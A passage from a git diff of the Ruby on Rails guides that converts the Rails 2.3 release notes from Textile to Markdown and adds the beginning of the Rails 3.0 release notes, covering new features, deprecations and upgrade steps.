and test but not in development. -h4. Other Action View Changes +### Other Action View Changes -* Token generation for CSRF protection has been simplified; now Rails uses a simple random string generated by +ActiveSupport::SecureRandom+ rather than mucking around with session IDs. -* +auto_link+ now properly applies options (such as +:target+ and +:class+) to generated e-mail links. -* The +autolink+ helper has been refactored to make it a bit less messy and more intuitive. -* +current_page?+ now works properly even when there are multiple query parameters in the URL. +* Token generation for CSRF protection has been simplified; now Rails uses a simple random string generated by `ActiveSupport::SecureRandom` rather than mucking around with session IDs. +* `auto_link` now properly applies options (such as `:target` and `:class`) to generated e-mail links. +* The `autolink` helper has been refactored to make it a bit less messy and more intuitive. +* `current_page?` now works properly even when there are multiple query parameters in the URL. -h3. Active Support +Active Support +-------------- -Active Support has a few interesting changes, including the introduction of +Object#try+. +Active Support has a few interesting changes, including the introduction of `Object#try`. -h4. Object#try +### Object#try -A lot of folks have adopted the notion of using try() to attempt operations on objects. It's especially helpful in views where you can avoid nil-checking by writing code like +<%= @person.try(:name) %>+. Well, now it's baked right into Rails. As implemented in Rails, it raises +NoMethodError+ on private methods and always returns +nil+ if the object is nil. +A lot of folks have adopted the notion of using try() to attempt operations on objects. It's especially helpful in views where you can avoid nil-checking by writing code like `<%= @person.try(:name) %>`. Well, now it's baked right into Rails. As implemented in Rails, it raises `NoMethodError` on private methods and always returns `nil` if the object is nil. -* More Information: "try()":http://ozmm.org/posts/try.html. +* More Information: [try()](http://ozmm.org/posts/try.html.) -h4. Object#tap Backport +### Object#tap Backport -+Object#tap+ is an addition to "Ruby 1.9":http://www.ruby-doc.org/core-1.9/classes/Object.html#M000309 and 1.8.7 that is similar to the +returning+ method that Rails has had for a while: it yields to a block, and then returns the object that was yielded. Rails now includes code to make this available under older versions of Ruby as well. +`Object#tap` is an addition to [Ruby 1.9](http://www.ruby-doc.org/core-1.9/classes/Object.html#M000309) and 1.8.7 that is similar to the `returning` method that Rails has had for a while: it yields to a block, and then returns the object that was yielded. Rails now includes code to make this available under older versions of Ruby as well. -h4. Swappable Parsers for XMLmini +### Swappable Parsers for XMLmini The support for XML parsing in ActiveSupport has been made more flexible by allowing you to swap in different parsers. By default, it uses the standard REXML implementation, but you can easily specify the faster LibXML or Nokogiri implementations for your own applications, provided you have the appropriate gems installed: -<ruby> +```ruby XmlMini.backend = 'LibXML' -</ruby> +``` -* Lead Contributor: "Bart ten Brinke":http://www.movesonrails.com/ -* Lead Contributor: "Aaron Patterson":http://tenderlovemaking.com/ +* Lead Contributor: [Bart ten Brinke](http://www.movesonrails.com/) +* Lead Contributor: [Aaron Patterson](http://tenderlovemaking.com/) -h4. Fractional seconds for TimeWithZone +### Fractional seconds for TimeWithZone -The +Time+ and +TimeWithZone+ classes include an +xmlschema+ method to return the time in an XML-friendly string. As of Rails 2.3, +TimeWithZone+ supports the same argument for specifying the number of digits in the fractional second part of the returned string that +Time+ does: +The `Time` and `TimeWithZone` classes include an `xmlschema` method to return the time in an XML-friendly string. As of Rails 2.3, `TimeWithZone` supports the same argument for specifying the number of digits in the fractional second part of the returned string that `Time` does: -<ruby> +```ruby >> Time.zone.now.xmlschema(6) => "2009-01-16T13:00:06.13653Z" -</ruby> +``` -* Lead Contributor: "Nicholas Dainty":http://www.workingwithrails.com/person/13536-nicholas-dainty +* Lead Contributor: [Nicholas Dainty](http://www.workingwithrails.com/person/13536-nicholas-dainty) -h4. JSON Key Quoting +### JSON Key Quoting If you look up the spec on the "json.org" site, you'll discover that all keys in a JSON structure must be strings, and they must be quoted with double quotes. Starting with Rails 2.3, we do the right thing here, even with numeric keys. -h4. Other Active Support Changes +### Other Active Support Changes -* You can use +Enumerable#none?+ to check that none of the elements match the supplied block. -* If you're using Active Support "delegates":http://afreshcup.com/2008/10/19/coming-in-rails-22-delegate-prefixes/, the new +:allow_nil+ option lets you return +nil+ instead of raising an exception when the target object is nil. -* +ActiveSupport::OrderedHash+: now implements +each_key+ and +each_value+. -* +ActiveSupport::MessageEncryptor+ provides a simple way to encrypt information for storage in an untrusted location (like cookies). -* Active Support's +from_xml+ no longer depends on XmlSimple. Instead, Rails now includes its own XmlMini implementation, with just the functionality that it requires. This lets Rails dispense with the bundled copy of XmlSimple that it's been carting around. +* You can use `Enumerable#none?` to check that none of the elements match the supplied block. +* If you're using Active Support [delegates](http://afreshcup.com/2008/10/19/coming-in-rails-22-delegate-prefixes/,) the new `:allow_nil` option lets you return `nil` instead of raising an exception when the target object is nil. +* `ActiveSupport::OrderedHash`: now implements `each_key` and `each_value`. +* `ActiveSupport::MessageEncryptor` provides a simple way to encrypt information for storage in an untrusted location (like cookies). +* Active Support's `from_xml` no longer depends on XmlSimple. Instead, Rails now includes its own XmlMini implementation, with just the functionality that it requires. This lets Rails dispense with the bundled copy of XmlSimple that it's been carting around. * If you memoize a private method, the result will now be private. -* +String#parameterize+ accepts an optional separator: +"Quick Brown Fox".parameterize('_') => "quick_brown_fox"+. -* +number_to_phone+ accepts 7-digit phone numbers now. -* +ActiveSupport::Json.decode+ now handles +\u0000+ style escape sequences. +* `String#parameterize` accepts an optional separator: `"Quick Brown Fox".parameterize('_') => "quick_brown_fox"`. +* `number_to_phone` accepts 7-digit phone numbers now. +* `ActiveSupport::Json.decode` now handles `\u0000` style escape sequences. -h3. Railties +Railties +-------- In addition to the Rack changes covered above, Railties (the core code of Rails itself) sports a number of significant changes, including Rails Metal, application templates, and quiet backtraces. -h4. Rails Metal +### Rails Metal Rails Metal is a new mechanism that provides superfast endpoints inside of your Rails applications. Metal classes bypass routing and Action Controller to give you raw speed (at the cost of all the things in Action Controller, of course). This builds on all of the recent foundation work to make Rails a Rack application with an exposed middleware stack. Metal endpoints can be loaded from your application or from plugins. * More Information: -** "Introducing Rails Metal":http://weblog.rubyonrails.org/2008/12/17/introducing-rails-metal -** "Rails Metal: a micro-framework with the power of Rails":http://soylentfoo.jnewland.com/articles/2008/12/16/rails-metal-a-micro-framework-with-the-power-of-rails-m -** "Metal: Super-fast Endpoints within your Rails Apps":http://www.railsinside.com/deployment/180-metal-super-fast-endpoints-within-your-rails-apps.html -** "What's New in Edge Rails: Rails Metal":http://ryandaigle.com/articles/2008/12/18/what-s-new-in-edge-rails-rails-metal + * [Introducing Rails Metal](http://weblog.rubyonrails.org/2008/12/17/introducing-rails-metal) + * [Rails Metal: a micro-framework with the power of Rails](http://soylentfoo.jnewland.com/articles/2008/12/16/rails-metal-a-micro-framework-with-the-power-of-rails-m) + * [Metal: Super-fast Endpoints within your Rails Apps](http://www.railsinside.com/deployment/180-metal-super-fast-endpoints-within-your-rails-apps.html) + * [What's New in Edge Rails: Rails Metal](http://ryandaigle.com/articles/2008/12/18/what-s-new-in-edge-rails-rails-metal) -h4. Application Templates +### Application Templates -Rails 2.3 incorporates Jeremy McAnally's "rg":http://github.com/jeremymcanally/rg/tree/master application generator. What this means is that we now have template-based application generation built right into Rails; if you have a set of plugins you include in every application (among many other use cases), you can just set up a template once and use it over and over again when you run the +rails+ command. There's also a rake task to apply a template to an existing application: +Rails 2.3 incorporates Jeremy McAnally's [rg](http://github.com/jeremymcanally/rg/tree/master) application generator. What this means is that we now have template-based application generation built right into Rails; if you have a set of plugins you include in every application (among many other use cases), you can just set up a template once and use it over and over again when you run the `rails` command. There's also a rake task to apply a template to an existing application: -<ruby> +``` rake rails:template LOCATION=~/template.rb -</ruby> +``` This will layer the changes from the template on top of whatever code the project already contains. -* Lead Contributor: "Jeremy McAnally":http://www.jeremymcanally.com/ -* More Info:"Rails templates":http://m.onkey.org/2008/12/4/rails-templates +* Lead Contributor: [Jeremy McAnally](http://www.jeremymcanally.com/) +* More Info:[Rails templates](http://m.onkey.org/2008/12/4/rails-templates) -h4. Quieter Backtraces +### Quieter Backtraces -Building on Thoughtbot's "Quiet Backtrace":https://github.com/thoughtbot/quietbacktrace plugin, which allows you to selectively remove lines from +Test::Unit+ backtraces, Rails 2.3 implements +ActiveSupport::BacktraceCleaner+ and +Rails::BacktraceCleaner+ in core. This supports both filters (to perform regex-based substitutions on backtrace lines) and silencers (to remove backtrace lines entirely). Rails automatically adds silencers to get rid of the most common noise in a new application, and builds a +config/backtrace_silencers.rb+ file to hold your own additions. This feature also enables prettier printing from any gem in the backtrace. +Building on Thoughtbot's [Quiet Backtrace](https://github.com/thoughtbot/quietbacktrace) plugin, which allows you to selectively remove lines from `Test::Unit` backtraces, Rails 2.3 implements `ActiveSupport::BacktraceCleaner` and `Rails::BacktraceCleaner` in core. This supports both filters (to perform regex-based substitutions on backtrace lines) and silencers (to remove backtrace lines entirely). Rails automatically adds silencers to get rid of the most common noise in a new application, and builds a `config/backtrace_silencers.rb` file to hold your own additions. This feature also enables prettier printing from any gem in the backtrace. -h4. Faster Boot Time in Development Mode with Lazy Loading/Autoload +### Faster Boot Time in Development Mode with Lazy Loading/Autoload -Quite a bit of work was done to make sure that bits of Rails (and its dependencies) are only brought into memory when they're actually needed. The core frameworks - Active Support, Active Record, Action Controller, Action Mailer and Action View - are now using +autoload+ to lazy-load their individual classes. This work should help keep the memory footprint down and improve overall Rails performance. +Quite a bit of work was done to make sure that bits of Rails (and its dependencies) are only brought into memory when they're actually needed. The core frameworks - Active Support, Active Record, Action Controller, Action Mailer and Action View - are now using `autoload` to lazy-load their individual classes. This work should help keep the memory footprint down and improve overall Rails performance. -You can also specify (by using the new +preload_frameworks+ option) whether the core libraries should be autoloaded at startup. This defaults to +false+ so that Rails autoloads itself piece-by-piece, but there are some circumstances where you still need to bring in everything at once - Passenger and JRuby both want to see all of Rails loaded together. +You can also specify (by using the new `preload_frameworks` option) whether the core libraries should be autoloaded at startup. This defaults to `false` so that Rails autoloads itself piece-by-piece, but there are some circumstances where you still need to bring in everything at once - Passenger and JRuby both want to see all of Rails loaded together. -h4. rake gem Task Rewrite +### rake gem Task Rewrite The internals of the various <code>rake gem</code> tasks have been substantially revised, to make the system work better for a variety of cases. The gem system now knows the difference between development and runtime dependencies, has a more robust unpacking system, gives better information when querying for the status of gems, and is less prone to "chicken and egg" dependency issues when you're bringing things up from scratch. There are also fixes for using gem commands under JRuby and for dependencies that try to bring in external copies of gems that are already vendored. -* Lead Contributor: "David Dollar":http://www.workingwithrails.com/person/12240-david-dollar +* Lead Contributor: [David Dollar](http://www.workingwithrails.com/person/12240-david-dollar) -h4. Other Railties Changes +### Other Railties Changes * The instructions for updating a CI server to build Rails have been updated and expanded. -* Internal Rails testing has been switched from +Test::Unit::TestCase+ to +ActiveSupport::TestCase+, and the Rails core requires Mocha to test. -* The default +environment.rb+ file has been decluttered. +* Internal Rails testing has been switched from `Test::Unit::TestCase` to `ActiveSupport::TestCase`, and the Rails core requires Mocha to test. +* The default `environment.rb` file has been decluttered. * The dbconsole script now lets you use an all-numeric password without crashing. -* +Rails.root+ now returns a +Pathname+ object, which means you can use it directly with the +join+ method to "clean up existing code":http://afreshcup.com/2008/12/05/a-little-rails_root-tidiness/ that uses +File.join+. -* Various files in /public that deal with CGI and FCGI dispatching are no longer generated in every Rails application by default (you can still get them if you need them by adding +--with-dispatchers+ when you run the +rails+ command, or add them later with +rake rails:update:generate_dispatchers+). +* `Rails.root` now returns a `Pathname` object, which means you can use it directly with the `join` method to [clean up existing code](http://afreshcup.com/2008/12/05/a-little-rails_root-tidiness/) that uses `File.join`. +* Various files in /public that deal with CGI and FCGI dispatching are no longer generated in every Rails application by default (you can still get them if you need them by adding `--with-dispatchers` when you run the `rails` command, or add them later with `rake rails:update:generate_dispatchers`). * Rails Guides have been converted from AsciiDoc to Textile markup. * Scaffolded views and controllers have been cleaned up a bit. -* +script/server+ now accepts a <tt>--path</tt> argument to mount a Rails application from a specific path. +* `script/server` now accepts a <tt>--path</tt> argument to mount a Rails application from a specific path. * If any configured gems are missing, the gem rake tasks will skip loading much of the environment. This should solve many of the "chicken-and-egg" problems where rake gems:install couldn't run because gems were missing. * Gems are now unpacked exactly once. This fixes issues with gems (hoe, for instance) which are packed with read-only permissions on the files. -h3. Deprecated +Deprecated +---------- A few pieces of older code are deprecated in this release: -* If you're one of the (fairly rare) Rails developers who deploys in a fashion that depends on the inspector, reaper, and spawner scripts, you'll need to know that those scripts are no longer included in core Rails. If you need them, you'll be able to pick up copies via the "irs_process_scripts":http://github.com/rails/irs_process_scripts/tree plugin. -* +render_component+ goes from "deprecated" to "nonexistent" in Rails 2.3. If you still need it, you can install the "render_component plugin":http://github.com/rails/render_component/tree/master. +* If you're one of the (fairly rare) Rails developers who deploys in a fashion that depends on the inspector, reaper, and spawner scripts, you'll need to know that those scripts are no longer included in core Rails. If you need them, you'll be able to pick up copies via the [irs_process_scripts](http://github.com/rails/irs_process_scripts/tree) plugin. +* `render_component` goes from "deprecated" to "nonexistent" in Rails 2.3. If you still need it, you can install the [render_component plugin](http://github.com/rails/render_component/tree/master.) * Support for Rails components has been removed. -* If you were one of the people who got used to running +script/performance/request+ to look at performance based on integration tests, you need to learn a new trick: that script has been removed from core Rails now. There’s a new request_profiler plugin that you can install to get the exact same functionality back. -* +ActionController::Base#session_enabled?+ is deprecated because sessions are lazy-loaded now. -* The +:digest+ and +:secret+ options to +protect_from_forgery+ are deprecated and have no effect. -* Some integration test helpers have been removed. +response.headers["Status"]+ and +headers["Status"]+ will no longer return anything. Rack does not allow "Status" in its return headers. However you can still use the +status+ and +status_message+ helpers. +response.headers["cookie"]+ and +headers["cookie"]+ will no longer return any CGI cookies. You can inspect +headers["Set-Cookie"]+ to see the raw cookie header or use the +cookies+ helper to get a hash of the cookies sent to the client. -* +formatted_polymorphic_url+ is deprecated. Use +polymorphic_url+ with +:format+ instead. -* The +:http_only+ option in +ActionController::Response#set_cookie+ has been renamed to +:httponly+. -* The +:connector+ and +:skip_last_comma+ options of +to_sentence+ have been replaced by +:words_connnector+, +:two_words_connector+, and +:last_word_connector+ options. -* Posting a multipart form with an empty +file_field+ control used to submit an empty string to the controller. Now it submits a nil, due to differences between Rack's multipart parser and the old Rails one. - -h3. Credits - -Release notes compiled by "Mike Gunderloy":http://afreshcup.com. This version of the Rails 2.3 release notes was compiled based on RC2 of Rails 2.3. +* If you were one of the people who got used to running `script/performance/request` to look at performance based on integration tests, you need to learn a new trick: that script has been removed from core Rails now. There’s a new request_profiler plugin that you can install to get the exact same functionality back. +* `ActionController::Base#session_enabled?` is deprecated because sessions are lazy-loaded now. +* The `:digest` and `:secret` options to `protect_from_forgery` are deprecated and have no effect. +* Some integration test helpers have been removed. `response.headers["Status"]` and `headers["Status"]` will no longer return anything. Rack does not allow "Status" in its return headers. However you can still use the `status` and `status_message` helpers. `response.headers["cookie"]` and `headers["cookie"]` will no longer return any CGI cookies. You can inspect `headers["Set-Cookie"]` to see the raw cookie header or use the `cookies` helper to get a hash of the cookies sent to the client. +* `formatted_polymorphic_url` is deprecated. Use `polymorphic_url` with `:format` instead. +* The `:http_only` option in `ActionController::Response#set_cookie` has been renamed to `:httponly`. +* The `:connector` and `:skip_last_comma` options of `to_sentence` have been replaced by `:words_connnector`, `:two_words_connector`, and `:last_word_connector` options. +* Posting a multipart form with an empty `file_field` control used to submit an empty string to the controller. Now it submits a nil, due to differences between Rack's multipart parser and the old Rails one. + +Credits +------- + +Release notes compiled by [Mike Gunderloy](http://afreshcup.com.) This version of the Rails 2.3 release notes was compiled based on RC2 of Rails 2.3. diff --git a/guides/source/3_0_release_notes.md b/guides/source/3_0_release_notes.md new file mode 100644 index 0000000000..388ba3fa30 --- /dev/null +++ b/guides/source/3_0_release_notes.md @@ -0,0 +1,614 @@ +Ruby on Rails 3.0 Release Notes +=============================== + +Rails 3.0 is ponies and rainbows! It's going to cook you dinner and fold your laundry. You're going to wonder how life was ever possible before it arrived. It's the Best Version of Rails We've Ever Done! + +But seriously now, it's really good stuff. There are all the good ideas brought over from when the Merb team joined the party and brought a focus on framework agnosticism, slimmer and faster internals, and a handful of tasty APIs. If you're coming to Rails 3.0 from Merb 1.x, you should recognize lots. If you're coming from Rails 2.x, you're going to love it too. + +Even if you don't give a hoot about any of our internal cleanups, Rails 3.0 is going to delight. We have a bunch of new features and improved APIs. It's never been a better time to be a Rails developer. Some of the highlights are: + +* Brand new router with an emphasis on RESTful declarations +* New Action Mailer API modeled after Action Controller (now without the agonizing pain of sending multipart messages!) +* New Active Record chainable query language built on top of relational algebra +* Unobtrusive JavaScript helpers with drivers for Prototype, jQuery, and more coming (end of inline JS) +* Explicit dependency management with Bundler + +On top of all that, we've tried our best to deprecate the old APIs with nice warnings. That means that you can move your existing application to Rails 3 without immediately rewriting all your old code to the latest best practices. + +These release notes cover the major upgrades, but don't include every little bug fix and change. Rails 3.0 consists of almost 4,000 commits by more than 250 authors! If you want to see everything, check out the [list of commits](http://github.com/rails/rails/commits/master) in the main Rails repository on GitHub. + +-------------------------------------------------------------------------------- + +To install Rails 3: + +```bash +# Use sudo if your setup requires it +$ gem install rails +``` + + +Upgrading to Rails 3 +-------------------- + +If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 2.3.5 and make sure your application still runs as expected before attempting to update to Rails 3. Then take heed of the following changes: + +### Rails 3 requires at least Ruby 1.8.7 + +Rails 3.0 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.0 is also compatible with Ruby 1.9.2. + +TIP: Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails 3.0. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults on Rails 3.0, so if you want to use Rails 3 with 1.9.x jump on 1.9.2 for smooth sailing. + +### Rails Application object + +As part of the groundwork for supporting running multiple Rails applications in the same process, Rails 3 introduces the concept of an Application object. An application object holds all the application specific configurations and is very similar in nature to `config/environment.rb` from the previous versions of Rails. + +Each Rails application now must have a corresponding application object. The application object is defined in `config/application.rb`. If you're upgrading an existing application to Rails 3, you must add this file and move the appropriate configurations from `config/environment.rb` to `config/application.rb`. + +### script/* replaced by script/rails + +The new `script/rails` replaces all the scripts that used to be in the `script` directory. You do not run `script/rails` directly though, the `rails` command detects it is being invoked in the root of a Rails application and runs the script for you. Intended usage is: + +```bash +$ rails console # instead of script/console +$ rails g scaffold post title:string # instead of script/generate scaffold post title:string +``` + +Run `rails --help` for a list of all the options. + +### Dependencies and config.gem + +The `config.gem` method is gone and has been replaced by using `bundler` and a `Gemfile`, see [Vendoring Gems](#vendoring-gems) below. + +### Upgrade Process + +To help with the upgrade process, a plugin named [Rails Upgrade](http://github.com/rails/rails_upgrade) has been created to automate part of it. + +Simply install the plugin, then run `rake rails:upgrade:check` to check your app for pieces that need to be updated (with links to information on how to update them). It also offers a task to generate a `Gemfile` based on your current `config.gem` calls and a task to generate a new routes file from your current one. To get the plugin, simply run the following: + +```bash +$ ruby script/plugin install git://github.com/rails/rails_upgrade.git +``` + +You can see an example of how that works at [Rails Upgrade is now an Official Plugin](http://omgbloglol.com/post/364624593/rails-upgrade-is-now-an-official-plugin) + +Aside from Rails Upgrade tool, if you need more help, there are people on IRC and [rubyonrails-talk](http://groups.google.com/group/rubyonrails-talk) that are probably doing the same thing, possibly hitting the same issues. Be sure to blog your own experiences when upgrading so others can benefit from your knowledge! + +More information - [The Path to Rails 3: Approaching the upgrade](http://omgbloglol.com/post/353978923/the-path-to-rails-3-approaching-the-upgrade) + +Creating a Rails 3.0 application +-------------------------------- + +```bash +# You should have the 'rails' rubygem installed +$ rails new myapp +$ cd myapp +``` + +### Vendoring Gems + +Rails now uses a `Gemfile` in the application root to determine the gems you require for your application to start. This `Gemfile` is processed by the [Bundler](http://github.com/carlhuda/bundler,) which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems. + +More information: - [bundler homepage](http://gembundler.com) + +### Living on the Edge + +`Bundler` and `Gemfile` makes freezing your Rails application easy as pie with the new dedicated `bundle` command, so `rake freeze` is no longer relevant and has been dropped. + +If you want to bundle straight from the Git repository, you can pass the `--edge` flag: + +```bash +$ rails new myapp --edge +``` + +If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the `--dev` flag: + +```bash +$ ruby /path/to/rails/bin/rails new myapp --dev +``` + +Rails Architectural Changes +--------------------------- + +There are six major changes in the architecture of Rails. + +### Railties Restrung + +Railties was updated to provide a consistent plugin API for the entire Rails framework as well as a total rewrite of generators and the Rails bindings, the result is that developers can now hook into any significant stage of the generators and application framework in a consistent, defined manner. + +### All Rails core components are decoupled + +With the merge of Merb and Rails, one of the big jobs was to remove the tight coupling between Rails core components. This has now been achieved, and all Rails core components are now using the same API that you can use for developing plugins. This means any plugin you make, or any core component replacement (like DataMapper or Sequel) can access all the functionality that the Rails core components have access to and extend and enhance at will. + +More information: - [The Great Decoupling](http://yehudakatz.com/2009/07/19/rails-3-the-great-decoupling/) + + +### Active Model Abstraction + +Part of decoupling the core components was extracting all ties to Active Record from Action Pack. This has now been completed. All new ORM plugins now just need to implement Active Model interfaces to work seamlessly with Action Pack. + +More information: - [Make Any Ruby Object Feel Like ActiveRecord](http://yehudakatz.com/2010/01/10/activemodel-make-any-ruby-object-feel-like-activerecord/) + + +### Controller Abstraction + +Another big part of decoupling the core components was creating a base superclass that is separated from the notions of HTTP in order to handle rendering of views etc. This creation of `AbstractController` allowed `ActionController` and `ActionMailer` to be greatly simplified with common code removed from all these libraries and put into Abstract Controller. + +More Information: - [Rails Edge Architecture](http://yehudakatz.com/2009/06/11/rails-edge-architecture/) + + +### Arel Integration + +[Arel](http://github.com/brynary/arel) (or Active Relation) has been taken on as the underpinnings of Active Record and is now required for Rails. Arel provides an SQL abstraction that simplifies out Active Record and provides the underpinnings for the relation functionality in Active Record. + +More information: - [Why I wrote Arel](http://magicscalingsprinkles.wordpress.com/2010/01/28/why-i-wrote-arel/.) + + +### Mail Extraction + +Action Mailer ever since its beginnings has had monkey patches, pre parsers and even delivery and receiver agents, all in addition to having TMail vendored in the source tree. Version 3 changes that with all email message related functionality abstracted out to the [Mail](http://github.com/mikel/mail) gem. This again reduces code duplication and helps create definable boundaries between Action Mailer and the email parser. + +More information: - [New Action Mailer API in Rails 3](http://lindsaar.net/2010/1/26/new-actionmailer-api-in-rails-3) + + +Documentation +------------- + +The documentation in the Rails tree is being updated with all the API changes, additionally, the [Rails Edge Guides](http://edgeguides.rubyonrails.org/) are being updated one by one to reflect the changes in Rails 3.0. The guides at [guides.rubyonrails.org](http://guides.rubyonrails.org/) however will continue to contain only the stable version of Rails (at this point, version 2.3.5, until 3.0 is released). + +More Information: - [Rails Documentation Projects](http://weblog.rubyonrails.org/2009/1/15/rails-documentation-projects.) + + +Internationalization +-------------------- + +A large amount of work has been done with I18n support in Rails 3, including the latest [I18n](http://github.com/svenfuchs/i18n) gem supplying many speed improvements. + +* I18n for any object - I18n behavior can be added to any object by including `ActiveModel::Translation` and `ActiveModel::Validations`. There is also an `errors.messages` fallback for translations. +* Attributes can have default translations. +* Form Submit Tags automatically pull the correct status (Create or Update) depending on the object status, and so pull the correct translation. +* Labels with I18n also now work by just passing the attribute name. + +More Information: - [Rails 3 I18n changes](http://blog.plataformatec.com.br/2010/02/rails-3-i18n-changes/) + + +Railties +-------- + +With the decoupling of the main Rails frameworks, Railties got a huge overhaul so as to make linking up frameworks, engines or plugins as painless and extensible as possible: + +* Each application now has its own name space, application is started with `YourAppName.boot` for example, makes interacting with other applications a lot easier. +* Anything under `Rails.root/app` is now added to the load path, so you can make `app/observers/user_observer.rb` and Rails will load it without any modifications. +* Rails 3.0 now provides a `Rails.config` object, which provides a central repository of all sorts of Rails wide configuration options. + + Application generation has received extra flags allowing you to skip the installation of test-unit, Active Record, Prototype and Git. Also a new `--dev` flag has been added which sets the application up with the `Gemfile` pointing to your Rails checkout (which is determined by the path to the `rails` binary). See `rails --help` for more info. + +Railties generators got a huge amount of attention in Rails 3.0, basically: + +* Generators were completely rewritten and are backwards incompatible. +* Rails templates API and generators API were merged (they are the same as the former). +* Generators are no longer loaded from special paths anymore, they are just found in the Ruby load path, so calling `rails generate foo` will look for `generators/foo_generator`. +* New generators provide hooks, so any template engine, ORM, test framework can easily hook in. +* New generators allow you to override the templates by placing a copy at `Rails.root/lib/templates`. +* `Rails::Generators::TestCase` is also supplied so you can create your own generators and test them. + +Also, the views generated by Railties generators had some overhaul: + +* Views now use `div` tags instead of `p` tags. +* Scaffolds generated now make use of `_form` partials, instead of duplicated code in the edit and new views. +* Scaffold forms now use `f.submit` which returns "Create ModelName" or "Update ModelName" depending on the state of the object passed in. + +Finally a couple of enhancements were added to the rake tasks: + +* `rake db:forward` was added, allowing you to roll forward your migrations individually or in groups. +* `rake routes CONTROLLER=x` was added allowing you to just view the routes for one controller. + +Railties now deprecates: + +* `RAILS_ROOT` in favor of `Rails.root`, +* `RAILS_ENV` in favor of `Rails.env`, and +* `RAILS_DEFAULT_LOGGER` in favor of `Rails.logger`. + +`PLUGIN/rails/tasks`, and `PLUGIN/tasks` are no longer loaded all tasks now must be in `PLUGIN/lib/tasks`. + +More information: + +* [Discovering Rails 3 generators](http://blog.plataformatec.com.br/2010/01/discovering-rails-3-generators) +* [Making Generators for Rails 3 with Thor](http://caffeinedd.com/guides/331-making-generators-for-rails-3-with-thor) +* [The Rails Module (in Rails 3)](http://litanyagainstfear.com/blog/2010/02/03/the-rails-module/) + +Action Pack +----------- + +There have been significant internal and external changes in Action Pack. + + +### Abstract Controller + +Abstract Controller pulls out the generic parts of Action Controller into a reusable module that any library can use to render templates, render partials, helpers, translations, logging, any part of the request response cycle. This abstraction allowed `ActionMailer::Base` to now just inherit from `AbstractController` and just wrap the Rails DSL onto the Mail gem. + +It also provided an opportunity to clean up Action Controller, abstracting out what could to simplify the code. + +Note however that Abstract Controller is not a user facing API, you will not run into it in your day to day use of Rails. + +More Information: - [Rails Edge Architecture](http://yehudakatz.com/2009/06/11/rails-edge-architecture/) + + +### Action Controller + +* `application_controller.rb` now has `protect_from_forgery` on by default. +* The `cookie_verifier_secret` has been deprecated and now instead it is assigned through `Rails.application.config.cookie_secret` and moved into its own file: `config/initializers/cookie_verification_secret.rb`. +* The `session_store` was configured in `ActionController::Base.session`, and that is now moved to `Rails.application.config.session_store`. Defaults are set up in `config/initializers/session_store.rb`. +* `cookies.secure` allowing you to set encrypted values in cookies with `cookie.secure[:key] => value`. +* `cookies.permanent` allowing you to set permanent values in the cookie hash `cookie.permanent[:key] => value` that raise exceptions on signed values if verification failures. +* You can now pass `:notice => 'This is a flash message'` or `:alert => 'Something went wrong'` to the `format` call inside a `respond_to` block. The `flash[]` hash still works as previously. +* `respond_with` method has now been added to your controllers simplifying the venerable `format` blocks. +* `ActionController::Responder` added allowing you flexibility in how your responses get generated. + +Deprecations: + +* `filter_parameter_logging` is deprecated in favor of `config.filter_parameters << :password`. + +More Information: + +* [Render Options in Rails 3](http://www.engineyard.com/blog/2010/render-options-in-rails-3/) +* [Three reasons to love ActionController::Responder](http://weblog.rubyonrails.org/2009/8/31/three-reasons-love-responder) + + +### Action Dispatch + +Action Dispatch is new in Rails 3.0 and provides a new, cleaner implementation for routing. + +* Big clean up and re-write of the router, the Rails router is now `rack_mount` with a Rails DSL on top, it is a stand alone piece of software. +* Routes defined by each application are now name spaced within your Application module, that is: + + ```ruby + # Instead of: + + ActionController::Routing::Routes.draw do |map| + map.resources :posts + end + + # You do: + + AppName::Application.routes do + resources :posts + end + ``` + +* Added `match` method to the router, you can also pass any Rack application to the matched route. +* Added `constraints` method to the router, allowing you to guard routers with defined constraints. +* Added `scope` method to the router, allowing you to namespace routes for different languages or different actions, for example: + + ```ruby + scope 'es' do + resources :projects, :path_names => { :edit => 'cambiar' }, :path => 'proyecto' + end + + # Gives you the edit action with /es/proyecto/1/cambiar + ``` + +* Added `root` method to the router as a short cut for `match '/', :to => path`. +* You can pass optional segments into the match, for example `match "/:controller(/:action(/:id))(.:format)"`, each parenthesized segment is optional. +* Routes can be expressed via blocks, for example you can call `controller :home { match '/:action' }`. + +NOTE. The old style `map` commands still work as before with a backwards compatibility layer, however this will be removed in the 3.1 release. + +Deprecations + +* The catch all route for non-REST applications (`/:controller/:action/:id`) is now commented out. +* Routes :path\_prefix no longer exists and :name\_prefix now automatically adds "\_" at the end of the given value. + +More Information: +* [The Rails 3 Router: Rack it Up](http://yehudakatz.com/2009/12/26/the-rails-3-router-rack-it-up/) +* [Revamped Routes in Rails 3](http://rizwanreza.com/2009/12/20/revamped-routes-in-rails-3) +* [Generic Actions in Rails 3](http://yehudakatz.com/2009/12/20/generic-actions-in-rails-3/) + + +### Action View + +#### Unobtrusive JavaScript + +Major re-write was done in the Action View helpers, implementing Unobtrusive JavaScript (UJS) hooks and removing the old inline AJAX commands. This enables Rails to use any compliant UJS driver to implement the UJS hooks in the helpers. + +What this means is that all previous `remote_<method>` helpers have been removed from Rails core and put into the [Prototype Legacy Helper](http://github.com/rails/prototype_legacy_helper.) To get UJS hooks into your HTML, you now pass `:remote => true` instead. For example: + +```ruby +form_for @post, :remote => true +``` + +Produces: + +```html +<form action="http://host.com" id="create-post" method="post" data-remote="true"> +``` + +#### Helpers with Blocks + +Helpers like `form_for` or `div_for` that insert content from a block use `<%=` now: + +```html+erb +<%= form_for @post do |f| %> + ... +<% end %> +``` + +Your own helpers of that kind are expected to return a string, rather than appending to the output buffer by hand. + +Helpers that do something else, like `cache` or `content_for`, are not affected by this change, they need `<%` as before. + +#### Other Changes + +* You no longer need to call `h(string)` to escape HTML output, it is on by default in all view templates. If you want the unescaped string, call `raw(string)`. +* Helpers now output HTML 5 by default. +* Form label helper now pulls values from I18n with a single value, so `f.label :name` will pull the `:name` translation. +* I18n select label on should now be :en.helpers.select instead of :en.support.select. +* You no longer need to place a minus sign at the end of a ruby interpolation inside an ERb template to remove the trailing carriage return in the HTML output. +* Added 